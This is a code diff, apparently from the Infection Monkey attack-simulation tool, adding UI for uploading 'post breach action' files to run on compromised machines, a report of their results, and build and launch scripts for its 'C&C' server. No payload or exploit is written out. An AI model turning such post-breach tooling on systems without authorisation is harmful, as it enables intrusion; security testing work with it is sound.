this.setState({
|
||||
|
@ -150,13 +196,87 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
});
|
||||
};
|
||||
|
||||
PBAwindows = () => {
|
||||
return (<FilePond
|
||||
server={{ url:'/api/fileUpload/PBAwindows',
|
||||
process: {headers: {'Authorization': this.jwtHeader}},
|
||||
revert: {headers: {'Authorization': this.jwtHeader}},
|
||||
restore: {headers: {'Authorization': this.jwtHeader}},
|
||||
load: {headers: {'Authorization': this.jwtHeader}},
|
||||
fetch: {headers: {'Authorization': this.jwtHeader}}
|
||||
}}
|
||||
files={this.getWinPBAfile()}
|
||||
onupdatefiles={fileItems => {
|
||||
this.setState({
|
||||
PBAwinFile: fileItems.map(fileItem => fileItem.file)
|
||||
})
|
||||
}}
|
||||
ref={ref => this.PBAwindowsPond = ref}
|
||||
/>)
|
||||
};
|
||||
|
||||
PBAlinux = () => {
|
||||
return (<FilePond
|
||||
server={{ url:'/api/fileUpload/PBAlinux',
|
||||
process: {headers: {'Authorization': this.jwtHeader}},
|
||||
revert: {headers: {'Authorization': this.jwtHeader}},
|
||||
restore: {headers: {'Authorization': this.jwtHeader}},
|
||||
load: {headers: {'Authorization': this.jwtHeader}},
|
||||
fetch: {headers: {'Authorization': this.jwtHeader}}
|
||||
}}
|
||||
files={this.getLinuxPBAfile()}
|
||||
onupdatefiles={fileItems => {
|
||||
this.setState({
|
||||
PBAlinuxFile: fileItems.map(fileItem => fileItem.file)
|
||||
})
|
||||
}}
|
||||
ref={ref => this.PBAlinuxPond = ref}
|
||||
/>)
|
||||
};
|
||||
|
||||
getWinPBAfile(){
|
||||
if (this.state.PBAwinFile.length !== 0){
|
||||
return ConfigurePageComponent.getMockPBAfile(this.state.PBAwinFile[0])
|
||||
} else if (this.state.configuration.monkey.behaviour.PBA_windows_filename){
|
||||
return ConfigurePageComponent.getFullPBAfile(this.state.configuration.monkey.behaviour.PBA_windows_filename)
|
||||
}
|
||||
}
|
||||
|
||||
getLinuxPBAfile(){
|
||||
if (this.state.PBAlinuxFile.length !== 0){
|
||||
return ConfigurePageComponent.getMockPBAfile(this.state.PBAlinuxFile[0])
|
||||
} else if (this.state.configuration.monkey.behaviour.PBA_linux_filename) {
|
||||
return ConfigurePageComponent.getFullPBAfile(this.state.configuration.monkey.behaviour.PBA_linux_filename)
|
||||
}
|
||||
}
|
||||
|
||||
static getFullPBAfile(filename){
|
||||
let pbaFile = [{
|
||||
source: filename,
|
||||
options: {
|
||||
type: 'limbo'
|
||||
}
|
||||
}];
|
||||
return pbaFile
|
||||
}
|
||||
|
||||
static getMockPBAfile(mockFile){
|
||||
let pbaFile = [{
|
||||
source: mockFile.name,
|
||||
options: {
|
||||
type: 'limbo'
|
||||
}
|
||||
}];
|
||||
pbaFile[0].options.file = mockFile;
|
||||
return pbaFile
|
||||
}
|
||||
|
||||
render() {
|
||||
let displayedSchema = {};
|
||||
if (this.state.schema.hasOwnProperty('properties')) {
|
||||
displayedSchema = this.state.schema['properties'][this.state.selectedSection];
|
||||
displayedSchema['definitions'] = this.state.schema['definitions'];
|
||||
}
|
||||
|
||||
return (
|
||||
<Col xs={12} lg={8}>
|
||||
<h1 className="page-title">Monkey Configuration</h1>
|
||||
|
@ -178,9 +298,11 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
}
|
||||
{ this.state.selectedSection ?
|
||||
<Form schema={displayedSchema}
|
||||
uiSchema={this.uiSchema}
|
||||
formData={this.state.configuration[this.state.selectedSection]}
|
||||
onSubmit={this.onSubmit}
|
||||
onChange={this.onChange}>
|
||||
onChange={this.onChange}
|
||||
noValidate={true}>
|
||||
<div>
|
||||
{ this.state.allMonkeysAreDead ?
|
||||
'' :
|
||||
|
@ -243,7 +365,6 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
</div>
|
||||
: ''}
|
||||
</div>
|
||||
|
||||
</Col>
|
||||
);
|
||||
}
|
||||
|
|
|
@ -2,6 +2,7 @@ import React from 'react';
|
|||
import {Button, Col} from 'react-bootstrap';
|
||||
import BreachedServers from 'components/report-components/BreachedServers';
|
||||
import ScannedServers from 'components/report-components/ScannedServers';
|
||||
import PostBreach from 'components/report-components/PostBreach';
|
||||
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
|
||||
import {edgeGroupToColor, options} from 'components/map/MapOptions';
|
||||
import StolenPasswords from 'components/report-components/StolenPasswords';
|
||||
|
@ -459,6 +460,9 @@ class ReportPageComponent extends AuthComponent {
|
|||
<div style={{marginBottom: '20px'}}>
|
||||
<BreachedServers data={this.state.report.glance.exploited}/>
|
||||
</div>
|
||||
<div style={{marginBottom: '20px'}}>
|
||||
<PostBreach data={this.state.report.glance.scanned}/>
|
||||
</div>
|
||||
<div style={{marginBottom: '20px'}}>
|
||||
<ScannedServers data={this.state.report.glance.scanned}/>
|
||||
</div>
|
||||
|
|
|
@ -0,0 +1,82 @@
|
|||
import React from 'react';
|
||||
import ReactTable from 'react-table'
|
||||
|
||||
let renderArray = function(val) {
|
||||
return <span>{val.map(x => <span> {x}</span>)}</span>;
|
||||
};
|
||||
|
||||
let renderIpAddresses = function (val) {
|
||||
return <span> {renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")} </span>;
|
||||
};
|
||||
|
||||
let renderMachine = function (data) {
|
||||
return <div>{data.label} ( {renderIpAddresses(data)} )</div>
|
||||
};
|
||||
|
||||
let renderPbaResults = function (results) {
|
||||
let pbaClass = "";
|
||||
if (results[1]){
|
||||
pbaClass="pba-success"
|
||||
} else {
|
||||
pbaClass="pba-danger"
|
||||
}
|
||||
return <div className={pbaClass}> {results[0]} </div>
|
||||
};
|
||||
|
||||
const subColumns = [
|
||||
{id: 'pba_name', Header: "Name", accessor: x => x.name, style: { 'whiteSpace': 'unset' }},
|
||||
{id: 'pba_output', Header: "Output", accessor: x => renderPbaResults(x.result), style: { 'whiteSpace': 'unset' }}
|
||||
];
|
||||
|
||||
let renderDetails = function (data) {
|
||||
let defaultPageSize = data.length > pageSize ? pageSize : data.length;
|
||||
let showPagination = data.length > pageSize;
|
||||
return <ReactTable
|
||||
data={data}
|
||||
columns={subColumns}
|
||||
defaultPageSize={defaultPageSize}
|
||||
showPagination={showPagination}
|
||||
style={{"background-color": "#ededed"}}
|
||||
/>
|
||||
};
|
||||
|
||||
const columns = [
|
||||
{
|
||||
Header: 'Post breach actions',
|
||||
columns: [
|
||||
{id: 'pba_machine', Header:'Machine', accessor: x => renderMachine(x)}
|
||||
]
|
||||
}
|
||||
];
|
||||
|
||||
const pageSize = 10;
|
||||
|
||||
class PostBreachComponent extends React.Component {
|
||||
constructor(props) {
|
||||
super(props);
|
||||
}
|
||||
|
||||
render() {
|
||||
let pbaMachines = this.props.data.filter(function(value, index, arr){
|
||||
return ( value.pba_results !== "None" && value.pba_results.length > 0);
|
||||
});
|
||||
let defaultPageSize = pbaMachines.length > pageSize ? pageSize : pbaMachines.length;
|
||||
let showPagination = pbaMachines > pageSize;
|
||||
return (
|
||||
<div className="data-table-container">
|
||||
<ReactTable
|
||||
columns={columns}
|
||||
data={pbaMachines}
|
||||
showPagination={showPagination}
|
||||
defaultPageSize={defaultPageSize}
|
||||
SubComponent={row => {
|
||||
return renderDetails(row.original.pba_results);
|
||||
}}
|
||||
/>
|
||||
</div>
|
||||
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
export default PostBreachComponent;
|
|
@ -15,6 +15,12 @@ export default class AuthService {
|
|||
return this._authFetch(url, options);
|
||||
};
|
||||
|
||||
jwtHeader = () => {
|
||||
if (this._loggedIn()) {
|
||||
return 'JWT ' + this._getToken();
|
||||
}
|
||||
};
|
||||
|
||||
hashSha3(text) {
|
||||
let hash = new SHA3(512);
|
||||
hash.update(text);
|
||||
|
|
|
@ -163,6 +163,18 @@ body {
|
|||
* Configuration Page
|
||||
*/
|
||||
|
||||
.linux-pba-file-info, .windows-pba-file-info {
|
||||
display: none
|
||||
}
|
||||
|
||||
.filepond--root li {
|
||||
overflow: visible;
|
||||
}
|
||||
|
||||
.filepond--root * {
|
||||
font-size: 1.04em;
|
||||
}
|
||||
|
||||
.rjsf .form-group .form-group {
|
||||
margin-left: 2em;
|
||||
}
|
||||
|
@ -412,6 +424,14 @@ body {
|
|||
top: 30%;
|
||||
}
|
||||
|
||||
.pba-danger {
|
||||
background-color: #ffc7af;
|
||||
}
|
||||
|
||||
.pba-success {
|
||||
background-color: #afd2a2;
|
||||
}
|
||||
|
||||
/* Print report styling */
|
||||
|
||||
@media print {
|
||||
|
|
Binary file not shown.
After Width: | Height: | Size: 108 KiB |
|
@ -0,0 +1,93 @@
|
|||
# -*- mode: python -*-
|
||||
import os
|
||||
import platform
|
||||
|
||||
|
||||
__author__ = 'itay.mizeretz'
|
||||
|
||||
block_cipher = None
|
||||
|
||||
|
||||
def main():
|
||||
a = Analysis(['cc/main.py'],
|
||||
pathex=['..'],
|
||||
hiddenimports=get_hidden_imports(),
|
||||
hookspath=None,
|
||||
runtime_hooks=None,
|
||||
binaries=None,
|
||||
datas=None,
|
||||
excludes=None,
|
||||
win_no_prefer_redirects=None,
|
||||
win_private_assemblies=None,
|
||||
cipher=block_cipher
|
||||
)
|
||||
|
||||
a.binaries += get_binaries()
|
||||
a.datas = process_datas(a.datas)
|
||||
|
||||
pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher)
|
||||
exe = EXE(pyz,
|
||||
a.scripts,
|
||||
a.binaries,
|
||||
a.zipfiles,
|
||||
a.datas,
|
||||
name=get_monkey_filename(),
|
||||
debug=False,
|
||||
strip=get_exe_strip(),
|
||||
upx=True,
|
||||
console=True,
|
||||
icon=get_exe_icon())
|
||||
|
||||
|
||||
def is_windows():
|
||||
return platform.system().find("Windows") >= 0
|
||||
|
||||
|
||||
def is_32_bit():
|
||||
return platform.architecture()[0] == "32bit"
|
||||
|
||||
|
||||
def process_datas(orig_datas):
|
||||
datas = orig_datas
|
||||
if is_windows():
|
||||
datas = [i for i in datas if i[0].find('Include') < 0]
|
||||
return datas
|
||||
|
||||
|
||||
def get_binaries():
|
||||
binaries = get_windows_only_binaries() if is_windows() else get_linux_only_binaries()
|
||||
return binaries
|
||||
|
||||
|
||||
def get_windows_only_binaries():
|
||||
binaries = []
|
||||
binaries += get_msvcr()
|
||||
return binaries
|
||||
|
||||
|
||||
def get_linux_only_binaries():
|
||||
binaries = []
|
||||
return binaries
|
||||
|
||||
|
||||
def get_hidden_imports():
|
||||
return ['_cffi_backend', 'queue'] if is_windows() else ['_cffi_backend']
|
||||
|
||||
|
||||
def get_msvcr():
|
||||
return [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')]
|
||||
|
||||
|
||||
def get_monkey_filename():
|
||||
return 'monkey_island.exe' if is_windows() else 'monkey_island'
|
||||
|
||||
|
||||
def get_exe_strip():
|
||||
return not is_windows()
|
||||
|
||||
|
||||
def get_exe_icon():
|
||||
return 'monkey_island.ico' if is_windows() else None
|
||||
|
||||
|
||||
main() # We don't check if __main__ because this isn't the main script.
|
|
@ -1,5 +1,5 @@
|
|||
python-dateutil
|
||||
tornado
|
||||
tornado==5.1.1
|
||||
werkzeug
|
||||
jinja2
|
||||
markupsafe
|
||||
|
@ -9,10 +9,13 @@ flask
|
|||
Flask-Pymongo
|
||||
Flask-Restful
|
||||
Flask-JWT
|
||||
jsonschema
|
||||
jsonschema==2.6.0
|
||||
netifaces
|
||||
ipaddress
|
||||
enum34
|
||||
pycryptodome
|
||||
boto3
|
||||
awscli
|
||||
bson
|
||||
cffi
|
||||
PyInstaller
|
|
@ -0,0 +1,5 @@
|
|||
REM - Builds Monkey Island Server EXE using pyinstaller -
|
||||
bin\Python27\Scripts\pyinstaller.exe -F --log-level=DEBUG --clean --upx-dir=.\bin monkey_island.spec
|
||||
move /Y dist\monkey_island.exe monkey_island.exe
|
||||
rmdir /S /Q build
|
||||
rmdir /S /Q dist
|
|
@ -1,3 +1,4 @@
|
|||
REM - Runs Monkey Island Server using python -
|
||||
@title C^&C Server
|
||||
@pushd ..
|
||||
@monkey_island\bin\Python27\Scripts\python monkey_island.py
|
||||
|
|
|
@ -0,0 +1,5 @@
|
|||
REM - Runs Monkey Island Server using built pyinstaller EXE -
|
||||
@title C^&C Server
|
||||
@pushd ..
|
||||
@monkey_island\monkey_island.exe
|
||||
@popd
|
|
@ -1,2 +1,3 @@
|
|||
REM - Runs MongoDB Server -
|
||||
@title MongoDB
|
||||
@bin\mongodb\mongod.exe --dbpath db
|
|
@ -1,4 +1,5 @@
|
|||
REM - Runs MongoDB Server & Monkey Island Server using built pyinstaller EXE -
|
||||
if not exist db mkdir db
|
||||
start windows\run_mongodb.bat
|
||||
start windows\run_cc.bat
|
||||
start windows\run_cc_exe.bat
|
||||
start https://localhost:5000
|
|
@ -0,0 +1,5 @@
|
|||
REM - Runs MongoDB Server & Monkey Island Server using python -
|
||||
if not exist db mkdir db
|
||||
start windows\run_mongodb.bat
|
||||
start windows\run_cc.bat
|
||||
start https://localhost:5000
|
Loading…
Reference in New Issue